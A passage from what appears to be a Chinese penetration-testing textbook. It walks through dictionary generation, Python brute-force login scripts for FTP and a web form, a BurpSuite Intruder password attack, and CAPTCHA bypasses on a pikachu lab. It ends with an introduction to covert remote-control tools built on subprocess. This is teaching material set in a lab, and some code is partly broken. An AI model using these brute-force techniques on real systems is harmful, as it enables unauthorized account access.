步骤5：使用一个循环将生成的密码写入记事本文件中。

     >>>for i in temp:
        passwords.write("".join(i))
        passwords.write("".join("\n"))

完整的程序如下所示：

     import itertools
     words = "1234568790abcdefghijklmnopqrstuvwxyz"
     temp =itertools.permutations(words,2)
     passwords = open("dic.txt","a")
     for i in temp:
        passwords.write("".join(i))
        passwords.write("".join("\n"))
     passwords.close()

这里有一个技巧，如果已经获悉目标的密码为几个特定的字符如“q”“w”“e”等，那么可以将words中的内容修改为：

     words = "qwe123456"

除了自己生成字典外，建议到互联网上下载一些优秀的字典文件。网站https://wiki.skullsecurity.org/Passwords上提供了一些相当有效的字典，如图10-4所示。

这里以/usr/share/wordlists/dirb/small.txt为例，给出了这个文档的内容。

     ……
     2002
     2003
     2004
     2005
     3
     @Admin
     Administration
     CVS
     CYBERDOCS
     CYBERDOCS25
     CYBERDOCS31
     INSTALL_admin
     Log
     Logs
     Pages
     Servlet
     Servlets
     SiteServer
     Sources
     Statistics
     Stats
     W3SVC
     ……

图10-4　skullsecurity.org上提供的字典页面

目前互联网上有各种各样的字典文件，这些文件最小的只有几千字节，最大的达到几百吉字节。里面包含的内容也都各不相同，但是在应用这些字典之前，最好收集关于目标足够多的信息。例如，如果目标密码是由一个不懂外语的中国人设置的，那显然不应该再使用那些由英文单词组成的词典。

好了，现在手里已经有了可以使用的字典文件，这些文件无论大小，它们的特点都是一行中有一个词汇。下面编写一个用来读取字典文件的程序。把下载好的文件放置于root目录中。接下来开始编写代码。

首先使用函数open()打开这个文件，并将这个文件传递给一个变量fp：

     >>> fp=open("/usr/share/wordlists/dirb/small.txt","r")

接下来以行为单位使用循环来读取文件中的内容：

     >>> while 1:
     ...     line=fp.readline()
     ...     passwd=line.strip('\n')
     ...     print（passwd）

可以将这个功能封装成一个函数，使用的时候只需要将读取的每一条记录作为参数传递给破解用的函数即可，读取字典文件的函数为GetPassword()：

接下来编写一些针对各种常见协议的破解过程，首先是最常见的FTP。

10.3　FTP暴力破解模块

FTP（File Transfer Protocol，文件传输协议）用于Internet上控制文件的双向传输。同时，它也是一个应用程序。使用FTP时必须首先登录，在远程主机上获得相应的权限以后，方可下载或上传文件。也就是说，要想同哪一台计算机传送文件，就必须具有那一台计算机的授权。换言之，除非有用户ID和口令，否则无法传送文件。

不过现在大部分FTP都提供了匿名登录的机制，这种FTP可以使用用户名anonymous和任意的密码来登录。这里考虑的主要是如何对设置了用户名和密码限制的FTP进行破解。

其实每一个破解模块的编写都并非一件简单的事情，这个过程需要编写者掌握编程语言的语法、要破解目标程序的工作流程和对应的库文件等，在开始破解之前，先来了解一下FTP的工作流程。

（1）客户机去连接目标FTP服务器的21号端口，建立命令通道。服务器会向客户端发送“220 FreeFloat Ftp Server（Version 1.00）”回应，括号内的信息会因为服务器不同而不同。

（2）客户机向服务器发送“USER用户名\r\n”，服务器会返回“331 Please specify the password .\r\n”。

（3）客户机向服务器发送“PASS密码\r\n”，如果密码认证成功，服务器会返回“230 User Logged in.\r\n”；如果密码认证错误，服务器会返回“200 Switching to Binary mode.\r\n”。

这里仅介绍FTP登录过程的前面3个步骤，后面的步骤由于与破解模块的编写关系不大，这里不再详细介绍。

Python中默认提供一个专门用来对FTP进行操作的ftplib模块，这个模块很精简，里面提供了一些用来实现登录、上传和下载的函数。

□　ftp.connect("IP","port")：连接的FTP服务器和端口。

□　ftp.login("user","password")：连接的用户名和密码。

□　ftp.retrlines(command[, callback])：使用文本传输模式返回在服务器上执行命令的结果。

下面使用ftplib函数按照登录流程进行操作。

首先导入需要使用的ftplib库文件。

     >>> import ftplib

然后使用ftplib创建一个ftp对象。

     >>> ftp=ftplib.FTP("192.168.169.133")

调用这个对象中的connect()函数去连接目标的端口21。

     >>> ftp.connect("192.168.169.133",21,timeout=10)

执行结果如图10-5所示。

图10-5　使用Python读取字典内容

将admin作为用户名，test作为密码，调用这个对象中的login()函数登录。

     >>> ftp.login("admin","test")

如果成功登录FTP，就会得到一个230回应，如图10-6所示。

图10-6　成功登录FTP

然后使用LIST命令（这是FTP本身的命令）展示FTP服务器中的文件。

     >>> ftp.retrlines('LIST')

这个命令的执行结果如图10-7所示。

图10-7　在FTP上执行LIST命令

最后，使用quit()函数断开与FTP服务器的连接。

     >>> ftp.quit()

执行结果如图10-8所示。

图10-8　断开与FTP的连接

接下来编写一个使用指定用户名和密码登录FTP服务器的Python程序。

     def Login(FTPServer, userName, passwords):
         try:
     f = ftplib.FTP(FTPServer)
     f.connect(FTPServer, 21, timeout = 10)
     f.login(userName, passwords)
     f.retrlines('LIST')
     f.quit()
     print（'We get right password！' ）
     except ftplib.all_errors:
         pass

下面将这两个程序整合成一个完整的破解程序，这里需要同时考虑用户名和密码，但是在用户名和密码都不清楚的情况下，使用暴力破解的难度会变得非常大。在目标主机192.168.169.133上建立FTP服务器，这里使用的工具是Simple FTP Server，也被称为简单FTP Server，这个工具的使用方式很简单，操作界面如图10-9所示。

其中，1处和2处可以设置用户名和密码，在3处可以切换启动和停止状态。当服务器启用验证身份之后，如果客户端不能输入正确的用户名admin和密码test，就无法登录FTP服务器，如图10-10所示。

图10-9　简单FTP Server界面

图10-10　登录失败

接下来编写一个可以对简单FTP Server进行暴力破解的程序。

完成这个程序，以FTPbrute.py为名保存起来。这个程序指定了3个参数FTPServer、UserDic和PasswordDic，name.txt和pass.txt是临时编写的，里面只有“administrator”“admin”和“root”3个单词，而pass.txt中也只有“test”等几个单词，执行结果如图10-11所示。

图10-11　扫描得到用户名和密码

由图10-11可以看出，程序已经成功地破解目标的用户名和密码。

10.4　SSH暴力破解模块

SSH是Secure Shell的缩写，由IETF的网络小组（Network Working Group）制定。SSH是建立在应用层上的安全协议。SSH是目前较可靠，专为远程登录会话和其他网络服务提供安全保障的协议。利用SSH可以有效防止远程管理过程中的信息泄露问题。

这个协议和Telnet一样，都可以用来实现远程管理，但是由于Telnet在传输的过程没有使用任何加密方式，所以被认为是不安全的，而SSH则成为目前远程管理的首选协议。

相比于FTP，除功能上有所不同外，SSH登录过程也要复杂一些。首先建立SSH服务器。在Linux系统中建立SSH服务器很简单。为演示起见，下载一个名为WinSSHD的工具，这个工具很简单，可以运行在Windows操作系统中。主机在安装WinSSHD之后，就会变成SSH服务器，可以从远程使用Windows系统的用户名和密码登录。这个工具的工作界面如图10-12所示。

只需要简单地单击“Start WinSSHD”即可启动本机的SSH服务。

如果要访问SSH服务器，就必须安装客户端软件。目前最流行的SSH客户端工具当数PuTTY。PuTTY的配置界面如图10-13所示。

图10-12　WinSSHD工具界面

图10-13　PuTTY工具界面

PuTTY的使用方式很简单，只需要输入IP地址即可（除非SSH没有工作在默认端口），然后单击Open按钮，会弹出一个要求输入用户名和密码的命令行，如图10-14所示。

图10-14　输入用户名和密码的命令行

这里面需要输入目标系统（注意，这里是Windows，如果没有则需要为administrator设置一个密码）的用户名和密码。如果正确，将会出现如图10-15所示的Windows命令行。

图10-15　Windows命令行

以上是一次SSH远程登录的过程。这个过程必须有一个客户端，这一点为编程带来了麻烦。因为在使用FTP的过程中是直接登录的，而SSH中的数据是需要加密的，这一点由我们自己来实现，工作量是很大的。对一些仅仅需要实现这个功能，却不需要考虑细节的程序员来说，这份额外的工作显然是不必要的。

paramiko是一个用SSH实现远程控制的Python模块，通过它可以很轻松地编写各种对远程服务器进行操作的程序。paramiko中封装了SSH的各种功能，所以在编写程序时无须考虑加密和通信的具体实现。

利用paramiko库，只需要对前面的ftp代码进行一点修改即可。

如果设备需要对抗这种暴力测试，就需要对登录次数进行限制，例如登录4次失败之后则拒绝连接，就可以预防这种暴力破解。

10.5　Web暴力破解模块

在现实生活中，Web页面中经常遇到需要输入用户名和密码的情况，接下来编写一个对Web页面的用户名和密码进行暴力破解的程序。首先搭建测试用的服务器。这里在Windows 7（IP地址为192.168.157.160）上面安装pikachu漏洞测试平台，成功安装之后，运行软件就可以在80端口上对外提供HTTP服务。

pikachu是一个比较详细的漏洞平台，使用PHP搭建，需要MySQL数据库支持。利用这个平台可以完成对以下漏洞的学习。

□　Burt Force（暴力破解漏洞）。

□　XSS（跨站脚本漏洞）。

□　CSRF（跨站请求伪造）。

□　SQL-Inject（SQL注入漏洞）。

□　RCE（远程命令／代码执行）。

□　Files Inclusion（文件包含漏洞）。

□　Unsafe file downloads（不安全的文件下载）。

□　Unsafe file uploads（不安全的文件上传）。

□　Over Permission（越权漏洞）。

□　../../../（目录遍历）。

□　I can see your ABC（敏感信息泄露）。

□　PHP反序列化漏洞。

□　XXE（XML External Entity attack）。

□　不安全的URL重定向。

□　SSRF（Server-Side Request Forgery）。

本次实验采用Windows 7+phpStudy 2018的安装方式。首先下载安装phpStudy 2018，这个过程很简单，安装完成之后，运行起来得到如图10-16所示的工作界面。

pikachu的下载地址为https://github.com/zhuifengshaonianhanlu/pikachu。下载之后，将其解压到phpStudy 2018的www目录中，这个目录可以在phpStudy 2018控制界面打开，方法为先单击右下角的“其他选项菜单”按钮，然后在弹出的菜单中选中“网站根目录”命令，如图10-17所示。

图10-16　phpStudy 2018的工作界面

图10-17　phpStudy 2018的“网站根目录”

配置好的pikachu目录如图10-18所示。

在使用前还需要修改inc目录中的config.inc.php文件，这里面包含了用来连接数据库的用户名和密码，如图10-19所示。

图10-18　配置好的pikachu目录

图10-19　连接数据库的用户名和密码

phpStudy和MySQL的默认密码和用户名都是root，只需要将密码的值修改为root即可。

     define（'DBPW'，''）

接下来打开一个浏览器，使用phpStudy所在主机的IP和pikachu目录访问这个Web程序，第一次访问如图10-20所示。

图10-20　第一次访问pikachu时的界面

单击图10-20所示方框部分进行初始化安装，弹出的页面如图10-21所示。

图10-21　初始化安装

单击“安装／初始化”按钮即开始pikachu的安装。成功之后会有如图10-22所示的提示。

现在使用浏览器访问http://192.168.157.160/pikachu/vul/burteforce/bf_form.php，打开的页面如图10-23所示。

图10-22　安装成功

图10-23　pikachu漏洞练习平台的暴力破解页面

如果使用正确的用户名和密码登录，可弹出如图10-24所示的提示。

如果输入错误的用户名或密码，就会出现如图10-25所示的错误提示。

但是，对这个过程仅仅了解到这个层次还不够，需要进一步从数据包的层次进行解析。首先启动Wireshark，并将过滤器设置为只接收与192.168.157.160通信的http类型数据包，然后在浏览器中执行登录操作，如图10-26所示。

图10-24　登录成功验证界面

图10-25　登录失败验证界面

图10-26　使用Wireshark捕获的登录数据包

图10-26显示的是捕获的登录数据包，可以看出在整个登录过程中，其实就是使用POST方法向目标提交了3个表项：

□　username——输入的用户名。

□　password——输入的密码。

□　submit——登录选项。

下面编写一个可以模拟这个登录过程的Python程序。这里需要引入一个库文件requests。requests是一个十分有用的模块，通过它可以轻松地在网络中发送数据包。

首先导入Request模块：

     import requests

Request中提供了两种HTTP请求方法：GET()和POST()，其中GET()用于从指定的资源请求数据；POST()用于向指定的资源提交将被处理的数据。

这个例子中使用request中的post()方法来提交请求。根据之前抓包的结果，提交的地址为“http://192.168.169.133/forum.ghp”，提交的表项包括如下4项：

     data = {
     "username": "admin",
     "password": "123456",
     "submit": "Login"
     }

然后使用post()方法提交请求，这个方法需要一个地址和提交的内容：

     url = "http://192.168.157.160/pikachu/vul/burteforce/bf_form.php"
     resp = requests.post(url, data=data)

针对不同的Web应用程序，需要对其进行研究。在对目标开始真正的渗透测试之前，如果可以找到目标程序的源文件，并搭建一个虚拟环境，那么可以极大地提高成功率。

通过Wireshark捕获这个过程的数据包，过程如图10-27所示。

图10-27　Wireshark捕获这个过程的数据包

注意，resp是发出数据包以后得到的回应，其中resp是图10-27中的第2个数据包，这个数据包的返回状态为“200 OK”。在很多Python编程的例子中，都使用返回状态来判断程序是否找到正确的用户名和密码，例如，“302”表示找到正确用户名和密码，“200”表示是错误的用户名或密码，或者“200”表示找到正确的用户名和密码，“302”表示是错误的用户名或密码。现在查看输入正确的用户名和密码的结果，如图10-28所示。

图10-28　输入正确的用户名和密码的结果

接下来向这个程序发送一个包含错误用户名和密码的载荷。

     import requests
     url = "http://192.168.157.160/pikachu/vul/burteforce/
     bf_form.php"
     username="admin"
     password="111111"
     data = {
     "username": username.strip(),
     "password": password.strip(),
     "submit": "Login"
     }
     print('-' * 20)
     print('用户名：', username.strip())
     print('密码：', password.strip())
     resp = requests.post(url, data=data)
     print("The status_code is %d" % (resp.status_code))

通过Wireshark捕获这个过程的数据包，过程如图10-29所示。

图10-29　错误用户名和密码的状态码（1）

图10-30　错误用户名和密码的状态码（2）

这个过程只有两个数据包：一个是本机发出的请求；另一个则是服务器给出的回应。如果返回数据包也就是resp的返回状态码是302，那么比较理想，不过当再次执行print resp时，得到的结果如图10-30所示。

这时可以发现无论输入的用户名和密码正确与否，返回数据包的状态码都是200，那么不能利用这个值来区分。

不过，无须担心，正确的用户名和密码一定会和错误的有所区别。在这个Web应用程序中输入正确的用户名和密码，会出现“login success”；输入错误的用户名和密码则不会显示这个内容，所以可以从这里入手，这里需要resp.text属性的值，首先来查看输入正确的时候，执行print(resp.text)的结果，如图10-31所示。

其次查看一下输入错误的时候，如图10-32所示。

这里如果正常登录，返回的resp.text中会包含“login success”；如果登录错误，返回的resp.text中会包含“username or password is not exists”。只需要使用“'login success' in resp.text”作为条件来判断用户名和密码是否正确。完整的代码如下：

     import requests
     url = "http://192.168.157.160/pikachu/vul/burteforce/bf_form.php"
     username="admin"
     password="123456"
     data = {
     "username": username.strip(),
     "password": password.strip(),
     "submit": "Login"
     }
     print('-' * 20)
     print('用户名：', username.strip())
     print('密码：', password.strip())
     resp = requests.post(url, data=data)
     print("The status_code is %d" % (resp.status_code))
     print(resp.text)
     if 'login success' in resp.text:
         print('破解成功')
     else:
         print('username or password is not exists')
     print('-' * 20)

图10-31　print(resp.text)运行结果

图10-32　输入错误用户名或密码后的结果

10.6　使用BurpSuite对网络认证服务的攻击

BurpSuite是用于攻击Web应用程序的集成平台。这个平台中集成了许多工具。本节只讲述其中的一个重要功能，即如何使用它来破解一些网站的密码。首先查看有用户名和密码的登录界面，如图10-33所示。

图10-33　一个需要用户名和密码的登录界面

接下来简单地研究一下这个页面登录的流程。简单来说，用户登录这个页面，在这个页面中的两个文本框中输入用户名“admin”和密码“123456”之后单击Login按钮，这个页面就会将用户名“admin”和密码“123456”打包成数据包，然后提交到服务器端进行验证，先将这个数据包称为数据包A。

然后再使用“admin”作为用户名，“abc123”作为密码登录一次，这次产生的数据包称为数据包B。

对数据包A和数据包B进行比较，就会发现其实两个数据包之间除了密码处不一样之外，其他地方都是一样的。

可以设想一下，在破解密码时只需要将数据包A复制10 000个，然后使用各种可能的密码，例如“abcdef”“111111”“000000”来替换“123456”，这样就产生了10 000个只有密码项不同的数据包，将这些数据包发送到服务器，然后查看服务器的反应，就可以得出这10 000个密码中哪个是正确的（当然也有可能都不正确，那就需要使用更多的密码）。不过实际情况要比这复杂一些，因为涉及校验码等操作。

10.6.1　基于表单的暴力破解

了解这个思路以后，就可以具体实现这种攻击方式了，但是需要一个工具来实现这一切，这里使用BurpSuite作为工具。首先在Kali Linux 2中启动这个工具，如图10-34所示。

BurpSuite在这里的主要作用是在用户使用的浏览器和目标服务器之间充当一个中间人的角色。这样当在浏览器中输入数据之后，数据包首先提交到BurpSuite处，BurpSuite可以将这个数据包进行复制，修改之后再提交到服务器处。所以BurpSuite此时相当于代理服务器。不过BurpSuite的功能要比这强大得多，但它是一款商业软件，Kali Linux 2中集成了免费版，所以这里只简单介绍它破解密码的功能。首先启动BurpSuite，如图10-35所示。

图10-34　在Applications中启动BurpSuite

图10-35　BurpSuite的工作界面

首先将BurpSuite设置成代理工作模式，单击Proxy选项卡，如图10-36所示。

图10-36　单击Proxy选项卡

切换至Proxy选项卡的Options标签，将BurpSuite设置成代理服务器，如图10-37所示。

图10-37　将BurpSuite设置为代理服务器

图10-38　在Firefox中设置代理（1）

现在BurpSuite成为一个工作在8080端口上的代理服务器，接下来在浏览器中将代理指定为BurpSuite。

然后打开浏览器。Kali Linux 2中默认使用的浏览器为Firefox ESR，然后单击浏览器右侧的工具菜单“Preferences”，如图10-38所示。

然后依次选中“Network Settings”|“Settings”。注意，每种浏览器中的设置都不一样，需要考虑具体情况，如图10-39所示。

打开Setting工作界面之后，在代理界面中设置，选中“Manual proxy configuration”，在HTTP Proxy处输入“127.0.0.1”，在Port处输入“8080”，如图10-40所示。

图10-39　在Firefox中设置代理（2）

图10-40　在Firefox中设置代理（3）

设置完成之后单击OK按钮。然后通过用浏览器访问目标登录界面，这里的目标登录界面的地址为http://192.168.157.128/pikachu/vul/burteforce/bf_form.php。需要注意的是，此时的页面不会有任何变化。因为此时浏览器向目标服务器发送的请求都被BurpSuite截获，所以现在服务器并没有返回任何数据。现在切换回BurpSuite，以处理截获的数据包。数据处理方法有3种：放行（Forward）、丢弃（Drop）和操作（Action），如图10-41所示。

图10-41　BurpSuite对数据包的操作

在这里要选择放行之前的数据包，这样才能正常访问登录界面，如图10-42所示。

接下来构造登录数据包。在登录页面中输入一个用户名“admin”（在这个例子中，假设已经知道正确的用户名为admin，密码未知），密码随意输入，例如“000000”。然后单击Login按钮，如图10-43所示。

图10-42　访问目标登录界面

图10-43　在登录界面输入用户名和密码

切换到BurpSuite，这时“Intercept”变成黄颜色，表示截获数据包。数据包的格式如图10-44所示，最关键的是框起来的部分。

图10-44　截获到的登录数据包

数据包中其他部分都是一样的，只有框起来的部分不一样。按照之前的思路，只需要用字典中的单词替换“000000”即可。BurpSuite中有相关的模块，只需要在文字区域内右击，然后在弹出的菜单中选择“Send to Intruder”，如图10-45所示。

然后单击Intruder选项卡并选择Positions标签，如图10-46所示。

图10-45　将数据包转到Intruder模块

图10-46　Intruder模块界面

在这个模块中需要向BurpSuite指明密码所在的位置。在操作界面中，BurpSuite并不能确切地知道密码所在的位置，但是它给出了4个可能的位置，也就是图10-46中带阴影的内容。BurpSuite中使用一对“$”来表示密码的区域。这时单击右边的“Clear $”按钮。可以清除所有默认参数，如图10-47所示。

然后鼠标光标移动到密码位置，也就是“000000”的前面，单击“Add $”按钮。再将鼠标光标移动到“000000”后面，单击“Add $”按钮。这样就成功地标示出密码的位置，也就是接下来要用字典替换的位置，如图10-48所示。

图10-47　单击“Clear $”按钮清除所有默认参数

图10-48　设置完密码位置的Intruder

切换到Payloads标签，选择要使用的“Payload Sets”，这里选择要设定进行密码破解目标的个数。例如只破解密码，Payload set的值是1，在既不知道用户名又不知道密码的时候，这里就要选择2。Payload type的类型选择Simple list，如图10-49所示。

图10-49　Payloads的操作界面

接下来加入使用的字典文件，在下方单击Load按钮，如图10-50所示。

在这里选中下载的small.txt（或者/usr/share/wordlists/dirb/big.txt）作为破解字典，如图10-51所示。

图10-50　选择要使用的字典（1）

图10-51　选择要使用的字典（2）

设置完成之后单击Start attack按钮，如图10-52所示。

图10-52　开始Intruder攻击

现在开始扫描，免费版由于限制了多线程，所以进展得十分缓慢，如图10-53所示。

图10-53　攻击过程

扫描到一定程度，可以Status或者Length（长度）大小排序。以Status为例，所有的数据包一般分成两种：一种为302，另一种为200。当然有时可能会不同，在这个实例中所有的数据包内容都为200，此时需要查看一下Length长度，一般Length长度与大多数数据包不同的就是正确的，如图10-54所示。

图10-54　对数据包发送的结果进行排序

但是，这样判断的结果并不精确，除了123456返回的长度不一样之外，0返回的长度也不一样，应该尝试一个更好的方式。如果登录成功，页面下方会出现“login success”字段；如果登录错误则不会出现，如图10-55所示。

那么可以尝试判断每一个response中是否包含“login success”，如果包含，则表示登录成功，否则表示登录失败，如图10-56所示。

图10-55　登录成功会显示“login success”

图10-56　response中包含一个“login success”

Options标签的Grep-Match选项组中有一个匹配选项。这里首先单击Clear按钮清空内容，然后单击Add按钮将“login success”添加到表中，如图10-57所示。

图10-57　在Grep-Match选项组中添加“login success”

然后单击start Attack按钮，执行时可以看到结果中多了login success列，如图10-58所示。

图10-58　login success列显示在结果中

在图10-58中可以看到只有123456的response中勾选了login success复选框。使用BurpSuite其实是一种十分通用的破解办法。

10.6.2　绕过验证码（客户端）

为了解决前面介绍的暴力破解问题，很多Web应用程序都采用了验证码机制。常用的验证码形式是让用户输入一张图片上所显示的扭曲变形的文字或数字。例如单击Pikachu中的“验证码绕过（on client）”选项，就显示如图10-59所示的页面。但是这个登录页面在设计上是存在问题的。

图10-59　添加了验证码的登录框

使用BurpSuite捕获登录的过程，可以发现相比较10.6.1节中提到的基于表单的暴力破解方式，这里的数据包中仅仅多了一个vcode字段，如图10-60所示。

图10-60　添加了验证码的登录过程

右键图10-60中的验证码，可以发现这个验证码的产生和对比是在客户端中实现的，如图10-61所示。

图10-61　在客户端中实现的验证

这段代码使用JavaScript实现，一共分成两个部分，其中，create()用来生成一个5位的验证码，validate()用来验证用户的输入是否正确。

其实，这就是说，只有在浏览器中输入用户名和密码才需要输入正确的验证码，因为客户端的代码需要由浏览器解释执行，而如果使用BurpSuite或者编写程序提交数据时，根本无须考虑验证码是否正确，因为这里直接跳过了客户端的执行阶段，如图10-62所示。

图10-62　添加了验证码的暴力破解

有的读者可能会有疑问，为什么一些Web应用会将验证过程放在客户端呢？这主要是为了减轻服务器端的负载压力，才留下了一个这样的漏洞。

10.6.3　绕过验证码（服务器端）

10.6.2节中提到可以绕过客户端的验证过程，因此需要将验证放在服务器端，但是这样做就一定安全吗？实际上用户输入验证码再通过网络提交，需要耗费一定时间，所以验证码一般会有一个有效时间。但是，如果验证码长期有效，用户就可以使用同一个验证码来提交多个登录请求，如图10-63所示。

图10-63　在服务器端处理验证码的实例

pikachu漏洞测试平台的“验证码绕过（on server）”就存在这样一个情况。简单来说，就是可以在绕过客户端之后，使用同一个验证码来提交多个用户名和密码。和10.6.1节的操作基本相同，只是需要给提交的数据包中多添加一个vcode。需要先在页面中刷新得到一个新的验证码，然后将这个验证码作为vcode的值添加到数据包中，如图10-64所示。

图10-64　将验证码作为vcode的值添加到数据包中的执行结果

可以看到，这里显示了和10.6.1节相同的结果。在实际操作中，效果取决于所使用的字典文件。

10.7　小结

本章介绍了一些网络渗透中常见的密码破解方式。首先以FTP服务为例，讲解如何使用Python编写程序来破解常见的网络服务加密。其次介绍了如何针对Web页面中的密码进行破解。这两种破解方式采用的都是暴力穷举，虽然这种方式在目前的实际成功率并不高，但是在渗透测试时却是必须进行的步骤。紧接着开始使用BurpSuite对网络认证服务进行破解。最后讲解了如何在Kali Linux 2中使用字典文件。

在现阶段，密码是一种常见的认证方式，除了在网络应用中大量使用之外，大量软件还增加了验证码的验证步骤。

第11章　编写远程控制工具

在普通人的心目中，黑客就等同于信息泄露、系统瘫痪以及远程控制。电影中的黑客可以随心所欲地控制别人的计算机，坐在家里就黑了“五角大楼”的桥段已经屡见不鲜。但是在现实生活中，这是很难发生的。原因很简单，政府和大型企业雇用的黑客水平并不比散落民间的少。无论是为谁工作，这些人都必须不断地研究两种程序：一种是针对系统漏洞的渗透程序；另一种是用来实现远程控制的程序。

打个比方，在战争时期，我军攻破了敌军城堡的大门，那么接下来作为军队指挥官的你会选择做什么呢？往大门里扔炸药，毁灭这座城堡，还是派军队冲进去，接管城堡的控制权？显然，占领要比毁灭更有价值。对渗透来说也是一样，渗透程序的作用就是打开一扇通往目标的大门，那么接下来应该将实现远程控制的程序安装到目标系统中，这样就可以占领这个系统。

怎么样，是不是听起来就很激动人心？远程控制程序是一个很常见的计算机用语，指的是可以在一台设备上操纵另一台设备的软件。在平时生活中，很多人会将这个词汇与“木马”混为一谈。

11.1　远程控制工具简介

当前世界上被广泛使用的远程控制软件有很多种，其中既有一些确实为人们提供工作便利的正常软件，例如TeamViewer，又有一些专门为黑客入侵所打造的后门木马。

远程控制软件的分类标准有很多种，这里只介绍两种最常用的标准：第一种标准是远程控制软件被控端与主控端的连接方式。按照不同的连接方式，可以将远程控制软件分为正向和反向两种。

第二种标准是按照目标操作系统的不同而分类，在Windows操作系统上运行的软件大都是exe文件，而在Android操作系统上运行的软件则大都是apk文件。显然Windows平台下可使用的远程控制工具对于手机上使用的Android操作系统毫无作用。目前常见的操作系统主要有微软公司的Windows、谷歌公司的Android、苹果公司的iOS以及各种的Linux系统。

11.2　远程控制程序的服务器端和客户端

对远程控制来说，需要同时具备服务器端和客户端，服务器端一般会在拥有者不知情的情况下在设备上运行。对一个远程控制程序来说，它至少需要具备以下两个功能：

□　服务器端能够对设备进行控制。

□　客户端可以远程向服务器端传达命令。

11.2.1　执行系统命令（subprocess模块）

在图形化操作系统（Windows全系列和部分Linux）中，可以通过“鼠标+键盘”的方式完成各种操作，例如浏览、新建、删除、上传和下载等。其实大部分操作也可以通过命令的方式来完成，目前Windows和Linux都提供了可以完成各种操作的命令行。图11-1（a）是Windows中的cmd程序，图11-1（b）是Kali Linux中的Terminal程序。

图11-1　Windows中的cmd程序和Kali Linux中的Terminal程序

通常进行远程控制时不会采用图形化的操作方式，这是因为将图形化操作转化成网络数据包时，产生的流量非常大，对设备和网络的性能都会造成影响。因而远程控制通常会选择没有图像化界面的命令行控制方式。

现在要研究的第一个问题就是如何编写一个能够执行系统命令的Python程序。接下来对Python中专门用来处理系统命令的subprocess模块进行讲解。

从Python 2.4版本开始增加subprocess模块。对操作系统有所了解的读者都会明白，在运行Python时，其实也是在运行一个进程。在Python中，可以通过标准库中的subprocess模块来复刻（fork）一个子进程，并可以通过管道连接它们的输入／输出／错误，以及获得它们的返回值。

subprocess中主要包含3个用来创建子进程的函数：subprocess.run()、subprocess.call()和subprocess.Popen()。

其中，subprocess.run()和subprocess.call()都是通过对subprocess.Popen()的封装来实现的高级函数。在Python 3.5之前的版本中可以通过subprocess.call()来使用subprocess模块的功能。而subprocess.run()函数是Python 3.5中新增的一个高级函数，官方文档中提倡通过这个函数替代其他函数来使用subprocess模块的功能。

下面分别查看这几个函数的使用方法。

1．subprocess.call()函数

subprocess.call()函数的格式如下：

     subprocess.call(args, *, stdin=None, stdout=None, stderr=None, shell=False)

这里面最重要的参数就是args，它既可以是一个字符串，又可以是一个包含程序参数的列表，用来指明需要执行的命令。使用这个参数可以在Python中执行对应命令。如果是序列类型，第一个元素通常是可执行文件的路径，也可以显式地使用executeable参数来指定可执行文件的路径。

stdin、stdout、stderr分别表示程序的标准输入、输出、错误句柄。它们可以是PIPE、文件描述符或文件对象，默认值为None，表示从父进程继承。

shell=True参数会让subprocess.call()函数接受字符串类型的变量作为命令，并调用shell（在一般情况下，Linux中为/bin/sh，Windows中为cmd.exe）去执行这个字符串；当shell=False时，subprocess.call()函数只接受数组变量作为命令，并将数组的第一个元素作为命令，剩下的全部作为该命令的参数。

如果子进程不需要进行交互操作，就可以使用该函数来创建。下面使用这个函数来启动目标系统（Windows 10）上的记事本程序，这个程序可以在运行中直接输入notepad来打开，如图11-2所示。

图11-2　输入notepad来打开记事本程序

现在在Python中完成同样的操作，首先需要导入subprocess库：

     import subprocess

然后使用subprocess.call执行这个命令：

     child=subprocess.call（"notepad.exe"）

之后可以发现在Windows系统上启动了一个记事本程序，这表明Python正确执行了命令。不过，此时可能更关心的是child的值。这其实就是subprocess.call（"notepad.exe"）的返回值。先关闭打开的记事本程序，然后执行：

     print（child）

这里的返回值为0，其实就是退出信息（returncode，0表示成功，非0表示失败）。

2．subprocess.run()函数

subprocess.run()函数的格式如下：

     subprocess.run(args, *, stdin=None, input=None, stdout=None, stderr=None, shell=
     False, timeout=None, check=False)

subprocess.run()函数是在Python 3.5中添加的，如果在老版本中使用，需要下载并扩展。它所使用的参数args、stdin、stdout、stderr和shell的含义与subprocess.call()函数的相同，返回值是一个CompletedProcess类的实例，它的属性主要有以下几个。

□　returncode：子进程的退出状态码。通常情况下，退出状态码为0则表示进程成功运行；负值-N表示这个子进程被信号N终止。

□　stdout：从子进程捕获的stdout。这通常是一个字节序列，如果subprocess.run()函数被调用时指定universal_newlines=True，则该属性值是一个字符串；如果subprocess.run()函数被调用时指定stderr=subprocess.stdout，那么stdout和stderr将会被整合到这个属性中，而且stderr将会为None。

□　stderr：从子进程捕获的stderr。它的值与stdout一样，是一个字节序列或一个字符串。如果stderr没有被捕获，它的值为None。

下面给出了一个使用subprocess.run()函数执行切换到C盘的命令“cd c：”，并输出subprocess.run()函数的返回类型、值、returncode和stdout。

     import subprocess
     res = subprocess.run(["cd", "c:"],stdout=subprocess.PIPE, stderr=subprocess.
     PIPE,shell=True)
     print(type(res))
     print(res)
     print('code: ',res.returncode,'stdout: ',res.stdout)

该程序在Windows 10下的执行结果如图11-3所示。

图11-3　将当前目录切换到C盘

3．subprocess.Popen()函数

前面介绍的两个函数都是基于subprocess.Popen()函数的封装。如果希望能够按照自己的想法使用一些功能，subprocess.Popen()函数就成了一个最好的选择。这个函数的格式如下所示：

     subprocess.Popen(args, bufsize=0, executable=None,stdin=None, stdout=None,
     stderr=None,preexec_fn=None, close_fds=False, shell=False,cwd=None, env=None,
     universal_newlines=False,startupinfo=None, creationflags=0):

这里面最重要的参数就是args，它可以是一个字符串，也可以是一个包含程序参数的列表。要执行的程序一般就是这个列表的第一项或者字符串本身。

     subprocess.Popen(["notepad","test.txt"])

需要注意的是，Popen对象创建后，主程序不会自动等待子进程完成。创建一个Python程序，输入如下代码，然后执行。

     import subprocess
     child= subprocess.Popen(["ping","www.baidu.com"])
     print("parent process")

从运行结果可以看出，Python程序首先输出“parent process”，然后才弹出命令行窗口来执行ping命令。

如果需要等待子进程，那么可以使用wait()函数。添加了wait()函数的程序如下：

     import subprocess
     child= subprocess.Popen(["ping","www.baidu.com"])
     child.wait()
     print("parent process")

这个程序执行之后，Python程序会弹出命令行窗口来执行ping命令，执行完毕之后才输出“parent process”。

前面介绍了subprocess模块的基本用法，接下来利用这个模块编写一个执行指定命令的函数。这个函数很简单，只需要一个参数来表示将执行的命令，返回值为执行结果。

下面验证这个函数，希望目标执行的命令为显示D盘下的所有内容。执行之后，会显示出目标主机D盘下的所有目录和文件，如图11-4所示。

